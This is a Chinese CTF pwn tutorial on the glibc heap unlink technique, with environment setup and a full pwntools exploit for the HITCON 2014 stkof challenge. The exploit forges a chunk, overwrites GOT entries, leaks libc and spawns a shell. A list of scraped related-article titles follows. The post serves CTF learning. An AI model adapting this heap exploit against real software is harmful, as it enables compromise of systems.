环境

ubuntu20 + pwndbg + patchelf + glibc-all-in-one

为什么要用ubuntu不用kali,这里不做解释,总之就是自己在搭环境时出现了各种问题,但用ubuntu20不会出现,
pwndbg,打pwn题必备,具体安装过程见gdb与peda、pwngdb、pwndbg组合安装与使用

patchelf则可以实现动态更改二进制文件的glibc连接库版本,

glibc-all-in-one,提供了glibc常见版本。

patchelf --set-interpreter ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64/ld-2.31.so --set-rpath ./glibc-all-in-one-master/libs/2.31-0ubuntu9.2_amd64 target_file

unlink

一句话unlink操作就是从一个双链表中取出一个结点的操作(这里就是在非fastbin中取chunk的操作),那么什么时候会触发unlink操作呢?即当free一个非fastbin大小的chunk时,当物理相邻的前后存在free状态的chunk时,会触发向前或向后合并的操作,而合并就涉及到将一个free的chunk从双链表(这里注意如果处于free状态的chunk是在fastbin中,不会触发合并,因为fastbin中的chunk的in_user位是一定置1的,而这里判断是否free是通过下一个chunk的in_user位来判断)中取出的操作,即unlink。

unlink可以实现什么样的效果

这里可以取查看gblic关于unlink的源码,这里就不做分析,简单过程为:

这里讨论的是64位的情况,32位道理一样。

P:为要取出的chunk指针(指向chunk头的)
修改P的fd位为:P - 0x18
修改P的bk位为:P - 0x10

在执行unlink时会检测,(P->fd + 0x18 == P && P-bk + 0x10 ==P),即检测P的下一个chunk的上一个chunk是否为P和P的上一个chunk的下一个chunk是否为P,这里就是利用的关键,因为这里一切的触发都是P,是通过来定位其前后节点,所有存在绕过方式,
即 (P - 0x18 +0x18==P && P - 0x10 + 0x10 ==p) 为真。满足执行unlink条件。

unlink操作为:
P->fd + 0x18 = P->bk ==> P - 0x18 + 0x18 = P - 0x10 ==> P = P - 0x10
P->bk + 0x10 = P->fd ==> P - 0x10 + 0x10 = P - 0x18 ==> P = P - 0x18

所有执行完后就实现了 P = P - 0x18

单看这个效果好像没什么利用点,但是如果程序将chunk的指针(chunk中用户可编辑区的指针)存储在全局bass段呢?那么有意思的来了,我们就能得到一个bass地址mem = mem - 0x18,这在结合堆mem指针进行编辑的程序来实现bass段任意写入。

题目练习

2014 HITCON stkof
github链接
BUUCTF链接

checksec 检测

got表可写,canary found开启栈溢出困难,NX开启。

IDA参看分析:

程序存在 4 个功能,

sub_400936():用户输入要分配的内存空间大小,用malloc分配堆空间后将指针存储在bass段

sub_4009E8():向指定推块写入任意长度的字符 存在堆溢出

sub_400B07():free()

sub_400BA9():这里没有利用价值

明显程序将malloc()返回的指针保存在bass段,这考虑unlink,可以看到GLBC版本为2.2.5,满足unlink利用条件。

注意:在程序中没有看见setbuf()/setvbuf()函数,该函数作用为关闭I/O缓冲区,没有即程序在整个过程中I/O缓冲区一直没被释放,这对于我们来说是个好消息。

利用思路:

unlink的利用需要申请连续的chunk,为了方便我们先要让IO两个缓冲区都申请了,即程序执行至少以此IO输出,一次IO此输入(这里可以让程序执行一遍创建堆块的流程实现),后面再创建两个相邻的堆块,后面一个大小大于0x80,再前一个堆块里伪造一个释放状态的chunk,并利用堆溢出改写后一个chunk的P_size(伪造chunk的大小包括chunk头),和size(in_user为为0),然后free后面的chunk来触发前合并,从而进行unlink。在bass段存储chunk指针区获得一个 target = target -0x18 的地址。

本地搭建调试环境

利用patchelf + glibc-all-in-one切换该二进制文件的glibc版本
这里没有找打glibc2.25的版本,用2.23的也可以。

执行./download 2.23-0ubuntu11.3_amd64下载

切换glibc版本

patchelf --set-interpreter ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so --set-rpath ~/glibc-all-in-one//libs/2.23-0ubuntu11.3_amd64 ./stkof

ldd stkof 查看 成功切换

直接上exp

from pwn import *
context.log_level = 'debug'
stkof = ELF('./stkof')
#p = remote('node4.buuoj.cn',27198)
p = process("./stkof")
log.info('PID: ' + str(proc.pidof(p)[0]))
libc = ELF('/home/lusong/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')head = 0x602140 #储存chunk指针的bass段数组开始地址0为空闲从1开始def alloc(size):p.sendline(b'1')p.sendline(str(size))p.recvuntil(b'OK\n')def edit(idx, size, content):p.sendline(b'2')p.sendline(str(idx))p.sendline(str(size))p.send(content)p.recvuntil(b'OK\n')def free(idx):p.sendline(b'3')p.sendline(str(idx))def exp():# 让程序走一遍,实现IO缓冲区分配alloc(0x100)  # idx 1alloc(0x20)  # idx 2alloc(0x80)  # idx 3#在2中伪造chunk并且溢出修改3的chunk头payload = p64(0)  #prev_sizepayload += p64(0x20)  #sizepayload += p64(head + 16 - 0x18)  #fdpayload += p64(head + 16 - 0x10)  #bk#溢出部分payload += p64(0x20)payload += p64(0x90)edit(2, len(payload), payload)# 释放3触发向前后合并,触发unlink,得到 head + 16 = head + 16 -0x18free(3)p.recvuntil('OK\n')# overwrite global[0] = free@got, global[1]=puts@got, global[2]=atoi@gotpayload = b'a' * 8 + p64(stkof.got['free']) + p64(stkof.got['puts']) + p64(stkof.got['atoi'])edit(2, len(payload), payload) #这里payload数据是写入了bass段# edit free@got to puts@pltpayload = p64(stkof.plt['puts'])edit(0, len(payload), payload)#实际上变成了 puts(puts_addr) 得到puts地址来计算libc基址free(1)puts_addr = p.recvuntil('\nOK\n', drop=True).ljust(8, b'\x00')puts_addr = u64(puts_addr)log.success('puts addr: ' + hex(puts_addr))libc_base = puts_addr - libc.symbols['puts']binsh_addr = libc_base + next(libc.search(b'/bin/sh'))system_addr = libc_base + libc.symbols['system']log.success('libc base: ' + hex(libc_base))log.success('/bin/sh addr: ' + hex(binsh_addr))log.success('system addr: ' + hex(system_addr))# modify atoi@got to system addrpayload = p64(system_addr)edit(2, len(payload), payload)p.send(p64(binsh_addr))p.interactive()if __name__ == "__main__":exp()

可以通过pwndbg来调试验证每部分exp的作用,这里就不做演示,代码已经很明确了。

转载于本人博客http://lusong.store/index.php/archives/154/http://lusong.store/index.php/archives/154/

CTF PWN之heap入门 unlink相关推荐

  1. CTF pwn题堆入门 -- Unsorted bin

    Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...

  2. CTF(pwn) 堆利用 之 unlink 介绍

    unlink是链表中常见的操作,而我们需要利用这个过程 通过改变链表指针,使中间堆块拿出来 当前的unlink会有一个对链表的完整性检查的 // 由于 P 已经在双向链表中,所以有两个地方记录其大小, ...

  3. CTF|pwn栈溢出入门题level3解题思路及个人总结

    CTF|pwn栈溢出入门题level3解题思路及个人总结 解题思路 拿到题目将文件下载下来拖入ubuntu 发现这一次的文件比较特殊:是一个linux环境下的压缩包,自然而然想到的是解压它 通过命令行 ...

  4. [Bugku CTF——Pwn] pwn2

    [Bugku CTF--Pwn] pwn2 题目地址:https://ctf.bugku.com/ 额,好久不写这么简单的题目了 利用栈溢出修改返回地址就好, 如果不会就去看看什么是栈溢出 explo ...

  5. [Bugku CTF——Pwn] pwn4

    [Bugku CTF--Pwn] pwn4 题目地址:https://ctf.bugku.com/ 给的提示很清楚,绕过canary保护 那就绕过就好 题目当中有system函数 利用ROPgadge ...

  6. [Bugku CTF——Pwn] pwn1

    [Bugku CTF--Pwn] pwn1 题目地址:https://ctf.bugku.com/ 额, 直接nc连接上,就可以直接得到shell 好水哦,新手玩玩就好,老鸟勿喷 无语凝噎 cat f ...

  7. TAMU ctf pwn部分wp+赛后

    TAMU ctf pwn部分wp 国外的题目,终端连不上就很gan ga...... Tr*vial 大水题,栈溢出,ret2text exp from pwn import *context(arc ...

  8. CTF PWN之精确覆盖变量数据

    刚开始接触pwn的朋友在做pwn练习时可能会有这样的疑问,怎么做到精确覆盖变量数据呢? 我们做pwn练习之前需要先知道:命令行参数C语言的main函数拥有两个参数,为int类型的argc参数,以及ch ...

  9. linux 堆溢出 pwn 指南,新手科普 | CTF PWN堆溢出总结

    学习汇总 序言 自从加入RTIS交流群, 在7o8v师傅,gd大佬的帮助下,PWN学习之路进入加速度.下面是八周学习的总结,基本上是按照how2heap路线走的.由于八周内容全写,篇幅太长,这里只讲述 ...

  10. 【学习笔记】CTF PWN选手的养成(三)

    atum大佬视频的总结 第三章 课时2  堆漏洞的利用技巧 0X01 基础知识 1.操作系统中的内存布局(Linux) 内核空间&用户空间,堆.栈等:cat /proc/pid/maps 要了 ...

最新文章

  1. 从业务发展的阶段看系统发展
  2. windows和linux下,查看oracle SID的方法
  3. 工程师的灵魂拷问:你的密钥安全吗?
  4. 微信朋友圈八月十大谣言:洗澡先洗头会晕倒在浴室
  5. 戴尔电脑开机黑屏怎么办_电脑黑屏开不了机怎么办
  6. Python 开发学习路线
  7. Xcode 12 to build a single binary with both 32-bit and 64-bit support
  8. js默认点击一次_JavaScript初学者,一个小小的点击案例。
  9. element-ui select 获取焦点时,光标移到文字最后
  10. 最全最新cpu显卡天梯图_CPU天梯图2020年-2020年最新CPU天梯图(高清大图) - 系统家园...
  11. 超现实数surreal number学习
  12. c语言二维数组学习,C语言学习之二维数组的传参
  13. python线性回归预测波士顿房价_预测波士顿的房价|简单的线性回归入门
  14. 51学习(2):vscode+ Embedded IDE开发环境搭建
  15. Mysql——》三星索引
  16. 西门子1200PLC的MODBUS_RTU轮询程序
  17. ubuntu不小心忘记开机密码
  18. 字符串匹配KMP算法讲解
  19. 排烟管道过长怎么处理_太原排烟管道过长怎么处理?参数及原理,厨房排烟管道设计规范哪里靠谱...
  20. 作为面试官,面试时可以问的问题

热门文章

  1. 一元二次方程的解的程序
  2. 新浪20年:独行侠的影响力之路
  3. 做好规划 IT项目不能再独行(zt)
  4. 基于Fruits-360数据集构建CNN进行水果识别实验
  5. PCIe及PCB设计要求
  6. 中央C-高低音谱号里的中央C和其它音节
  7. php win8环境搭建
  8. iOS 5 故事板进阶(3)
  9. 网工行业里的多面手,数据通信工程师2022年最新系统学习路线整理
  10. kettle启动时报错:Maximum wait time of 10 seconds exceed while acquiring lock